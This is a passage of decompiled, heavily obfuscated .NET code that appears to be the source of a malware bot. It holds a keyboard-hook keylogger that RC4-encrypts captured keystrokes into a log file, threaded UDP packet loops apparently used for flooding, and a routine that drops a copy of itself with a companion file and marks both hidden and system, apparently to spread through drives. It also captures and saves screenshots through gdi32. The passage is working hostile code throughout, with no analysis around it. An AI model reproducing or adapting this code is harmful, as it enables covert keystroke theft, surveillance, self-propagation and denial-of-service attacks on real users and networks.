\u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2533); break; case 50: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2538); break; case 51: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2543); break; case 52: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2548); break; case 53: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2553); break; case 54: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2558); break; case 55: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2563); break; case 56: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2568); break; case 57: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(obj2.\u0001)) : \u0002.\u0001.\u0001(2573); break; case 65: case 66: case 67: case 68: case 69: case 70: case 71: case 72: case 73: case 74: case 75: case 76: case 77: case 78: case 79: case 80: case 81: case 82: case 83: case 84: case 85: case 86: case 87: case 88: case 89: case 90: str2 = !\u0004\u0002.\u007E\u0089\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? (!\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(checked (obj2.\u0001 + 32))) : \u009B\u0004.\u0013\u0007(\u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(checked (obj2.\u0001 + 32))), VbStrConv.Uppercase, 0)) : \u009B\u0004.\u0013\u0007(\u008A\u0004.\u0097\u0006(\u0097\u0004.\u000E\u0007(checked (obj2.\u0001 + 32))), VbStrConv.Uppercase, 0); break; case 96: str2 = \u0002.\u0001.\u0001(2473); break; case 97: str2 = \u0002.\u0001.\u0001(2478); break; case 98: str2 = \u0002.\u0001.\u0001(2483); break; case 99: str2 = \u0002.\u0001.\u0001(2488); break; case 100: str2 = \u0002.\u0001.\u0001(2493); break; case 101: str2 = \u0002.\u0001.\u0001(2498); break; case 102: str2 = \u0002.\u0001.\u0001(2503); break; case 103: str2 = \u0002.\u0001.\u0001(2508); break; case 104: str2 = \u0002.\u0001.\u0001(2513); break; case 105: str2 = \u0002.\u0001.\u0001(2518); break; case 106: str2 = \u0002.\u0001.\u0001(2568); break; case 107: str2 = \u0002.\u0001.\u0001(2756); break; case 109: case 189: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(230) : \u0002.\u0001.\u0001(2751); break; case 110: case 190: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2746) : \u0002.\u0001.\u0001(2741); break; case 111: str2 = \u0002.\u0001.\u0001(225); break; case 112: case 113: case 114: case 115: case 116: case 117: case 118: case 119: case 120: case 121: case 122: case 123: case 124: case 125: case 126: case (int) sbyte.MaxValue: case 128: case 129: case 130: case 131: case 132: case 133: case 134: case 135: str2 = \u0098\u0002.\u009D\u0002(\u0002.\u0001.\u0001(2650), \u008B\u0004.\u0098\u0006(checked (obj2.\u0001 - 111)), \u0002.\u0001.\u0001(2655)); break; case 162: case 163: str2 = \u0002.\u0001.\u0001(2583); break; case 164: str2 = \u0002.\u0001.\u0001(2596); break; case 165: str2 = \u0002.\u0001.\u0001(2605); break; case 186: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2781) : \u0002.\u0001.\u0001(2184); break; case 187: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2170) : \u0002.\u0001.\u0001(2756); break; case 188: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2796) : \u0002.\u0001.\u0001(2791); break; case 191: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(225) : \u0002.\u0001.\u0001(2761); break; case 192: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2528) : \u0002.\u0001.\u0001(2523); break; case 219: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2771) : \u0002.\u0001.\u0001(2766); break; case 220: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(475) : \u0002.\u0001.\u0001(2130); break; case 221: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2655) : \u0002.\u0001.\u0001(2776); break; case 222: str2 = !\u0004\u0002.\u007E\u0086\u0006((object) \u001E\u0004.\u007E\u0081\u0006((object) \u0005.\u0001.\u0002())) ? \u0002.\u0001.\u0001(2786) : \u0002.\u0001.\u0001(777); break; default: str2 = \u0014\u0002.\u007E\u0097\u0002((object) \u0098\u0002.\u009D\u0002(\u0002.\u0001.\u0001(2801), obj2.\u0001.ToString(), \u0002.\u0001.\u0001(2806))); break; } } } else if (obj1 == 257 | obj1 == 261) { switch (obj2.\u0001) { case 162: case 163: str2 = \u0002.\u0001.\u0001(2811); break; case 164: str2 = \u0002.\u0001.\u0001(2828); break; case 165: str2 = \u0002.\u0001.\u0001(2837); break; } } this.\u0014 = \u0097\u0002.\u009C\u0002(this.\u0014, str2); num = \u0002.\u0001.\u0002(\u0018\u0003.\u0095\u0003(this.\u0001), obj0, obj1, obj2); goto label_63; label_61: this.\u0012 = str1; string[] strArray = new string[8] { this.\u0014, \u0002.\u0001.\u0001(2417), str1, \u0002.\u0001.\u0001(2438), \u0011\u0002.\u008B\u0003(), \u0002.\u0001.\u0001(2443), \u0001\u0003.\u0010\u0003().ToString(), \u0002.\u0001.\u0001(2448) }; this.\u0014 = \u009A\u0002.\u009F\u0002(strArray); goto label_1; } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } label_63: return num; } public void \u0086() { while (true) { \u0002.\u0003 = \u008D\u0004.\u009A\u0006(\u0001\u0003.\u0012\u0003()); \u0002.\u0004 = \u0098\u0002.\u009D\u0002(\u0011\u0002.\u008B\u0003(), \u0095\u0002.\u007E\u0099\u0002((object) \u0002.\u0003, \u0002.\u0001.\u0001(225), \u0002.\u0001.\u0001(230)), \u0002.\u0001.\u0001(235)); if (\u0002.\u0002) { try { string str1 = this.\u0014; this.\u0014 = \u0002.\u0001.\u0001(328); if (!\u0004\u0004.\u0094\u0005(\u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), \u0002.\u0004))) \u0092\u0004.\u007E\u0003\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), \u0002.\u0004), \u0002.\u0001.\u0001(328), false); string str2 = \u0091\u0004.\u007E\u0002\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), \u0002.\u0004)); string str3 = \u008F\u0004.\u009D\u0006(str2, \u0002.\u0001.\u0001(328), false) != 0 ? this.\u0003(str2) : \u0002.\u0001.\u0001(328); string str4 = this.\u0002(\u0097\u0002.\u009C\u0002(str3, str1)); \u0092\u0004.\u007E\u0003\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0098\u0002.\u009D\u0002(\u0002.\u000E, \u0002.\u0001.\u0001(1345), \u0002.\u0004), str4, false); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } \u0015\u0003.\u0090\u0003(0); \u0015\u0003.\u001B\u0004(10000); } } public string \u0002([In] string obj0, [In] string obj1) { int index1 = 0; int index2 = 0; StringBuilder stringBuilder1 = new StringBuilder(); string empty = string.Empty; int[] numArray1 = new int[257]; int[] numArray2 = new int[257]; int num1 = \u001D\u0002.\u007E\u008E\u0002((object) obj1); int index3 = 0; while (index3 <= (int) byte.MaxValue) { char ch = \u0090\u0002.\u007E\u008D\u0002((object) \u0093\u0002.\u007E\u0091\u0002((object) obj1, index3 % num1, 1))[0]; numArray2[index3] = \u0096\u0004.\u0007\u0007(ch); numArray1[index3] = index3; int num2 = \u001A\u0003.\u0098\u0003(\u0084\u0003.\u0011\u0004(ref index3), checked (index3 - 1)); } int index4 = 0; int index5 = 0; while (index5 <= (int) byte.MaxValue) { index4 = checked (index4 + numArray1[index5] + numArray2[index5]) % 256; int num3 = numArray1[index5]; numArray1[index5] = numArray1[index4]; numArray1[index4] = num3; int num4 = \u001A\u0003.\u0098\u0003(\u0084\u0003.\u0011\u0004(ref index5), checked (index5 - 1)); } int num5 = 1; while (num5 <= \u001D\u0002.\u007E\u008E\u0002((object) obj0)) { index1 = checked (index1 + 1) % 256; index2 = checked (index2 + numArray1[index1]) % 256; int num6 = numArray1[index1]; numArray1[index1] = numArray1[index2]; numArray1[index2] = num6; int num7 = numArray1[checked (numArray1[index1] + numArray1[index2]) % 256]; char ch = \u0090\u0002.\u007E\u008D\u0002((object) \u0093\u0002.\u007E\u0091\u0002((object) obj0, checked (num5 - 1), 1))[0]; int num8 = \u0096\u0004.\u0007\u0007(ch) ^ num7; StringBuilder stringBuilder2 = \u009E\u0002.\u007E\u0008\u0003((object) stringBuilder1, \u0097\u0004.\u0008\u0007(num8)); int num9 = \u001A\u0003.\u0098\u0003(\u0084\u0003.\u0011\u0004(ref num5), checked (num5 - 1)); } string str = \u0014\u0002.\u007E\u0005\u0003((object) stringBuilder1); \u009C\u0002.\u007E\u0006\u0003((object) stringBuilder1, 0); return str; } public string \u0002([In] string obj0) { byte[] numArray = \u009B\u0003.\u007E\u0007\u0005((object) \u009E\u0003.\u000F\u0005(), obj0); return this.\u0002(\u0010\u0003.\u0082\u0003(numArray), \u0002.\u0001.\u0001(2850)); } public string \u0003([In] string obj0) { string str = this.\u0002(obj0, \u0002.\u0001.\u0001(2850)); byte[] numArray = \u0011\u0003.\u0083\u0003(str); return \u009C\u0003.\u007E\u0008\u0005((object) \u009E\u0003.\u000F\u0005(), numArray); } public void \u0087() { try { Thread[] threadArray1 = new Thread[checked (this.\u0002 + 1)]; int num = this.\u0002; int index1 = 0; while (index1 <= num) { Thread[] threadArray2 = threadArray1; int index2 = index1; \u0002.\u0001 obj = this; // ISSUE: virtual method pointer Thread thread = new Thread(new ThreadStart((object) obj, __vmethodptr(obj, \u0088))); threadArray2[index2] = thread; \u0001\u0002.\u007E\u0019\u0004((object) threadArray1[index1]); checked { ++index1; } } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public void \u0088() { try { Stopwatch stopwatch = new Stopwatch(); \u0001\u0002.\u007E\u0013\u0002((object) stopwatch); IPEndPoint ipEndPoint = new IPEndPoint(\u0013\u0002.\u0086(this.\u0010), this.\u0001); byte[] numArray = new byte[4096]; Socket socket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); for (; \u008F\u0004.\u009D\u0006(this.\u0011, \u0002.\u0001.\u0001(2875), false) == 0; this.\u0011 = \u0002.\u0001.\u0001(1037)) { while (\u0089\u0002.\u007E\u0014\u0002((object) stopwatch).TotalSeconds <= (double) \u0002.\u0005) { if (\u008F\u0004.\u009D\u0006(this.\u0011, \u0002.\u0001.\u0001(1037), false) == 0) \u0002.\u0005 = -1; try { int num = \u0018\u0002.\u007E\u008D((object) socket, numArray, (EndPoint) ipEndPoint); \u0015\u0003.\u001B\u0004(50); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0015\u0003.\u001B\u0004(50); \u0016\u0003.\u0001\u0007(); } \u0016\u0003.\u0016\u0007(); } } \u0015\u0003.\u0090\u0003(0); \u0002.\u0007(); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } static \u0001() => \u0004.\u0002(typeof (\u0002.\u0001)); public struct \u0001 { public int \u0001; public int \u0002; public int \u0003; public int \u0004; public int \u0005; } private delegate int \u0002(int Code, int wParam, ref \u0002.\u0001.\u0001 lParam); } public sealed class \u0002 { [NonSerialized] internal static \u0002 \u0001; public string \u0001; public void \u0002() { string[] strArray = new string[16] { \u0002.\u0002.\u0001(2912), \u0002.\u0005, \u0002.\u0002.\u0001(2925), \u0002.\u0007, \u0002.\u0002.\u0001(2934), \u0002.\u0005, \u0002.\u0002.\u0001(2943), \u0002.\u0005, \u0002.\u0002.\u0001(2988), \u0002.\u0005, \u0002.\u0002.\u0001(3013), \u0002.\u0007, \u0002.\u0002.\u0001(2934), \u0002.\u0005, \u0002.\u0002.\u0001(3042), \u0002.\u0002 }; string str = \u009A\u0002.\u009F\u0002(strArray); try { if (\u0004\u0004.\u0094\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)))) { if (\u008D\u0002.\u007E\u0093\u0002((object) \u0091\u0004.\u007E\u0002\u0007((object) \u007F\u0004.\u007E\u008B\u0006((object) \u0005.\u0001.\u0002()), \u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047))), \u0002.\u0002)) return; try { \u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)), FileAttributes.Normal); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)), FileAttributes.Normal); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { StreamWriter streamWriter = \u0012\u0004.\u0091\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047))); \u0006\u0002.\u007E\u0011\u0006((object) streamWriter, str); \u0001\u0002.\u007E\u0012\u0006((object) streamWriter); \u0013\u0004.\u0092\u0005(\u0011\u0002.\u0014\u0007(), \u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934))); \u0015\u0004.\u0099\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.Archive); \u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.Archive); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } else { try { \u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)), FileAttributes.Normal); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0015\u0004.\u0099\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)), FileAttributes.Normal); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { \u0008\u0004.\u0093\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934))); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } try { StreamWriter streamWriter = \u0012\u0004.\u0091\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047))); \u0006\u0002.\u007E\u0011\u0006((object) streamWriter, str); \u0001\u0002.\u007E\u0012\u0006((object) streamWriter); \u0013\u0004.\u0092\u0005(\u0011\u0002.\u0014\u0007(), \u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934))); \u0015\u0004.\u0099\u0005(\u0098\u0002.\u009D\u0002(this.\u0001, \u0002.\u0007, \u0002.\u0002.\u0001(2934)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.Archive); \u0015\u0004.\u0099\u0005(\u0097\u0002.\u009C\u0002(this.\u0001, \u0002.\u0002.\u0001(3047)), FileAttributes.ReadOnly | FileAttributes.Hidden | FileAttributes.System | FileAttributes.Archive); } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } static \u0002() => \u0004.\u0002(typeof (\u0002.\u0002)); } public sealed class \u0003 { [DllImport("kernel32.dll", EntryPoint = "GetLocaleInfo")] private static extern int \u0002( uint Locale, uint LCType, [Out] StringBuilder lpLCData, int cchData); private static string \u0002([In] uint obj0) { StringBuilder lpLCData = new StringBuilder(256); int num = \u0002.\u0003.\u0002(1024U, obj0, lpLCData, \u001D\u0002.\u007E\u0004\u0003((object) lpLCData)); return num > 0 ? \u0093\u0002.\u007E\u0091\u0002((object) \u0014\u0002.\u007E\u0005\u0003((object) lpLCData), 0, checked (num - 1)) : string.Empty; } public static object \u0002() => (object) \u0002.\u0003.\u0002(4098U); } public sealed class \u0004 { [NonSerialized] internal static \u0002 \u0001; public Image \u0002() => this.\u0002(\u0002.\u0004.\u0002.\u0002()); public Image \u0002([In] IntPtr obj0) { int num1 = 13369376; IntPtr num2 = \u0002.\u0004.\u0002.\u0002(obj0); \u0002.\u0004.\u0002.\u0001 obj = new \u0002.\u0004.\u0002.\u0001(); \u0002.\u0004.\u0002.\u0002(obj0, ref obj); int num3 = checked (obj.\u0003 - obj.\u0001); int num4 = checked (obj.\u0004 - obj.\u0002); IntPtr num5 = \u0002.\u0004.\u0001.\u0002(num2); IntPtr num6 = \u0002.\u0004.\u0001.\u0002(num2, num3, num4); IntPtr num7 = \u0002.\u0004.\u0001.\u0002(num5, num6); \u0002.\u0004.\u0001.\u0002(num5, 0, 0, num3, num4, num2, 0, 0, num1); \u0002.\u0004.\u0001.\u0002(num5, num7); \u0002.\u0004.\u0001.\u0002(num5); \u0002.\u0004.\u0002.\u0002(obj0, num2); Image image = (Image) \u0002\u0005.\u007F\u0007(num6); \u0002.\u0004.\u0001.\u0003(num6); \u0002.\u0007(); return image; } public void \u0002([In] string obj0, [In] string obj1) { try { string str = obj1; if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0004.\u0001(2223), false) != 0) { if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0004.\u0001(2245), false) == 0) { Bitmap bitmap = (Bitmap) this.\u0002(); ImageCodecInfo imageCodecInfo = \u0002.\u0004.\u0002(\u0002.\u0004.\u0001(3066)); EncoderParameters encoderParameters = new EncoderParameters(1); EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 40L); \u0008\u0005.\u007E\u008F\u0007((object) encoderParameters)[0] = encoderParameter; \u009E\u0004.\u007E\u001A\u0007((object) bitmap, \u0099\u0002.\u009E\u0002(\u0002.\u000E, \u0002.\u0004.\u0001(1379), obj0, \u0002.\u0004.\u0001(2236)), imageCodecInfo, encoderParameters); } else if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0004.\u0001(2254), false) == 0) { Bitmap bitmap = (Bitmap) this.\u0002(); ImageCodecInfo imageCodecInfo = \u0002.\u0004.\u0002(\u0002.\u0004.\u0001(3066)); EncoderParameters encoderParameters = new EncoderParameters(1); EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 14L); \u0008\u0005.\u007E\u008F\u0007((object) encoderParameters)[0] = encoderParameter; \u009E\u0004.\u007E\u001A\u0007((object) bitmap, \u0099\u0002.\u009E\u0002(\u0002.\u000E, \u0002.\u0004.\u0001(1379), obj0, \u0002.\u0004.\u0001(2236)), imageCodecInfo, encoderParameters); } else { if (\u008F\u0004.\u009D\u0006(str, \u0002.\u0004.\u0001(2271), false) != 0) return; Bitmap bitmap = this.\u0002((Bitmap) this.\u0002()); ImageCodecInfo imageCodecInfo = \u0002.\u0004.\u0002(\u0002.\u0004.\u0001(3083)); System.Drawing.Imaging.Encoder compression = System.Drawing.Imaging.Encoder.Compression; EncoderParameters encoderParameters = new EncoderParameters(1); EncoderParameter encoderParameter = new EncoderParameter(compression, 4L); \u0008\u0005.\u007E\u008F\u0007((object) encoderParameters)[0] = encoderParameter; \u009E\u0004.\u007E\u001A\u0007((object) bitmap, \u0099\u0002.\u009E\u0002(\u0002.\u000E, \u0002.\u0004.\u0001(1379), obj0, \u0002.\u0004.\u0001(2284)), imageCodecInfo, encoderParameters); } } else { Bitmap bitmap = (Bitmap) this.\u0002(); ImageCodecInfo imageCodecInfo = \u0002.\u0004.\u0002(\u0002.\u0004.\u0001(3066)); EncoderParameters encoderParameters = new EncoderParameters(1); EncoderParameter encoderParameter = new EncoderParameter(System.Drawing.Imaging.Encoder.Quality, 100L); \u0008\u0005.\u007E\u008F\u0007((object) encoderParameters)[0] = encoderParameter; \u009E\u0004.\u007E\u001A\u0007((object) bitmap, \u0099\u0002.\u009E\u0002(\u0002.\u000E, \u0002.\u0004.\u0001(1379), obj0, \u0002.\u0004.\u0001(2236)), imageCodecInfo, encoderParameters); } } catch (Exception ex) { ProjectData.SetProjectError(ex); \u0016\u0003.\u0001\u0007(); } } public Bitmap \u0002([In] Bitmap obj0) { Bitmap bitmap1; try { Bitmap bitmap2; if (\u0001\u0005.\u007E\u001F\u0007((object) obj0) != PixelFormat.Format32bppArgb) { bitmap2 = new Bitmap(\u001D\u0002.\u007E\u001B\u0007((object) obj0), \u001D\u0002.\u007E\u001C\u0007((object) obj0), PixelFormat.Format32bppArgb); \u0005\u0005.\u007E\u0083\u0007((object) bitmap2, \u009F\u0004.\u007E\u001D\u0007((object) obj0), \u009F\u0004.\u007E\u001E\u0007((object) obj0)); Graphics graphics = \u0006\u0005.\u0084\u0007((Image) bitmap2); try { \u0007\u0005.\u007E\u0086\u0007((object) graphics, (Image) obj0, 0, 0); } finally { if (graphics != null) \u0001\u0002.\u007E\u0088\u0002((object) graphics); } } else bitmap2 = obj0; \u0003\u0005 obj1 = \u0003\u0005.\u007E\u0081\u0007; Bitmap bitmap3 = bitmap2; Rectangle rectangle1 = new Rectangle(0, 0, \u001D\u0002.\u007E\u001B\u0007((object) bitmap2), \u001D\u0002.\u007E\u001C\u0007((object) bitmap2)); Rectangle rectangle2 = rectangle1; BitmapData bitmapData1 = obj1((object) bitmap3, rectangle2, ImageLockMode.ReadOnly, PixelFormat.Format32bppArgb); int num1 = checked (\u001D\u0002.\u007E\u008B\u0007((object) bitmapData1) * \u001D\u0002.\u007E\u008A\u0007((object) bitmapData1)); byte[] numArray1 = new byte[checked (num1 - 1 + 1)]; \u0002\u0004.\u0016\u0005(\u001C\u0002.\u007E\u008C\u0007((object) bitmapData1), numArray1, 0, num1); \u0004\u0005.\u007E\u0082\u0007((object) bitmap2, bitmapData1); Bitmap bitmap4 = new Bitmap(\u001D\u0002.\u007E\u001B\u0007((object) bitmap2), \u001D\u0002.\u007E\u001C\u0007((object) bitmap2), PixelFormat.Format1bppIndexed); \u0003\u0005 obj2 = \u0003\u0005.\u007E\u0081\u0007; Bitmap bitmap5 = bitmap4; rectangle1 = new Rectangle(0, 0, \u001D\u0002.\u007E\u001B\u0007((object) bitmap4), \u001D\u0002.\u007E\u001C\u0007((object) bitmap4)); Rectangle rectangle3 = rectangle1; BitmapData bitmapData2 = obj2((object) bitmap5, rectangle3, ImageLockMode.WriteOnly, PixelFormat.Format1bppIndexed); int num2 = checked (\u001D\u0002.\u007E\u008B\u0007((object) bitmapData2) * \u001D\u0002.\u007E\u008A\u0007((object) bitmapData2)); byte[] numArray2 = new byte[checked (num2 - 1 + 1)]; int num3 = \u001D\u0002.\u007E\u001C\u0007((object) bitmap2); int num4 = \u001D\u0002.\u007E\u001B\u0007((object) bitmap2); int num5 = 500; int num6 = checked (num3 - 1); int num7 = 0; while (num7 <= num6) { int num8 = checked (num7 * \u001D\u0002.\u007E\u008B\u0007((object) bitmapData1)); int index = checked (num7 * \u001D\u0002.\u007E\u008B\u0007((object) bitmapData2)); byte num9 = 0; int num10 = 128; int num11 = checked (num4 - 1); int num12 = 0; while (num12 <= num11) { if (checked (\u0007\u0003.\u001F\u0003(numArray1[num8 + 1]) + \u0007\u0003.\u001F\u0003(numArray1[num8 + 2]) + \u0007\u0003.\u001F\u0003(numArray1[num8 + 3])) > num5) checked { num9 += \u0006\u0003.\u001E\u0003(num10); } if (num10 == 1) { numArray2[index] = num9; checked { ++index; } num9 = (byte) 0; num10 = 128; } else num10 >>= 1; checked { num8 += 4; } checked { ++num12; } } if (num10 != 128) numArray2[index] = num9; checked { ++num7; } } \u0001\u0004.\u0015\u0005(numArray2, 0, \u001C\u0002.\u007E\u008C\u0007((object) bitmapData2), num2); \u0004\u0005.\u007E\u0082\u0007((object) bitmap4, bitmapData2); bitmap1 = bitmap4; } catch (Exception ex) { ProjectData.SetProjectError(ex); bitmap1 = (Bitmap) null; \u0016\u0003.\u0001\u0007(); } return bitmap1; } private static ImageCodecInfo \u0002([In] string obj0) { ImageCodecInfo[] imageCodecInfoArray = \u000E\u0005.\u0091\u0007(); int index = 0; while (index < imageCodecInfoArray.Length) { if (\u008F\u0004.\u009D\u0006(\u0014\u0002.\u007E\u0090\u0007((object) imageCodecInfoArray[index]), obj0, false) == 0) return imageCodecInfoArray[index]; int num = \u0084\u0003.\u0011\u0004(ref index); } return (ImageCodecInfo) null; } static \u0004() => \u0004.\u0002(typeof (\u0002.\u0004)); private sealed class \u0001 { public int \u0001; public \u0001() => this.\u0001 = 13369376; [DllImport("gdi32.dll", EntryPoint = "BitBlt", CharSet = CharSet.Ansi, SetLastError = true)] public static extern int \u0002( [In] IntPtr obj0, [In] int obj1, [In] int obj2, [In] int obj3, [In] int obj4, [In] IntPtr obj5, [In] int obj6, [In] int obj7, [In] int obj8); [DllImport("gdi32.dll", EntryPoint = "CreateCompatibleBitmap", CharSet = CharSet.Ansi, SetLastError = true)] public static extern IntPtr \u0002([In] IntPtr obj0, [In] int obj1, [In] int obj2); [DllImport("gdi32.dll", EntryPoint = "CreateCompatibleDC", CharSet = CharSet.Ansi, SetLastError = true)] public static extern IntPtr \u0002([In] IntPtr obj0); [DllImport("gdi32.dll", EntryPoint = "DeleteDC", CharSet = CharSet.Ansi, SetLastError = true)] public static extern int \u0002([In] IntPtr obj0); [DllImport("gdi32.dll", EntryPoint = "DeleteObject", CharSet = CharSet.Ansi, SetLastError = true)] public static extern int \u0003([In] IntPtr obj0); [DllImport("gdi32.dll", EntryPoint = "SelectObject", CharSet = CharSet.Ansi, SetLastError = true)] public static extern IntPtr 